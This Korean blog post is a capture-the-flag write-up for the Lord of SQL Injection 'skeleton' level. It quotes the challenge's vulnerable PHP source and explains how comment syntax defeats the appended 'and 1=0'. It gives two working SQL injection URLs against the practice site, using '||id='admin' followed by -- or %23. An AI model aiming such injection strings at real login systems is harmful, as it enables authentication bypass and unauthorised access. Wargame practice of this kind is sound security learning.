[LOS] 10. Skeleton

고둑·2021년 7월 12일
0

LoS

목록 보기
10/21
post-thumbnail

힌트

  • 뒤에 쿼리만 제외하면 기존 문제랑 차이가 없다.
  • 주석은 쿼리에서 따로 실행하지 않는다.

풀이

코드 해석

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("skeleton"); 
  highlight_file(__FILE__); 
?>

기존 문제와 상당히 흡사한 문제인데 pw 뒤에 and 1=0으로 인해 정상적으로는 무슨 짓을 해도 거짓이 나오게 되는 쿼리문이다.
뒤에 and 1=0만 날려버리면 평소처럼 인젝션을 시도할 수 있다. 이럴 때 그냥 주석을 쓰면 바로 해결된다. SQL에서는 주석을 2가지로 사용할 수 있다.

문제 풀이

1. --

-- 를 이용하면 -- 이후의 쿼리문을 주석 처리할 수 있다.
여기서 중요한 점은 -- 뒤에 공백이 들어가야 한다는 것이다. 따라서 URL에 --+ 이런 방식으로 입력해야 하면 오류는 안 발생할 것이다.

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27||id=%27admin%27--+

2. #

위 방법은 공백이 무조건 필요해서 뭔가 나는 손이 잘 안 간다. 그냥 # 이용하면 공백 상관없이 바로 주석처리가 되기 때문에 많이 애용하는 방법이다.
그냥 URL에 #를 입력하면 십중팔구 입력이 안될 것이다. URL 인코딩을 이용하여 %23으로 입력해야 한다.

https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27||id=%27admin%27%23

profile
문워킹은 하지말자

0개의 댓글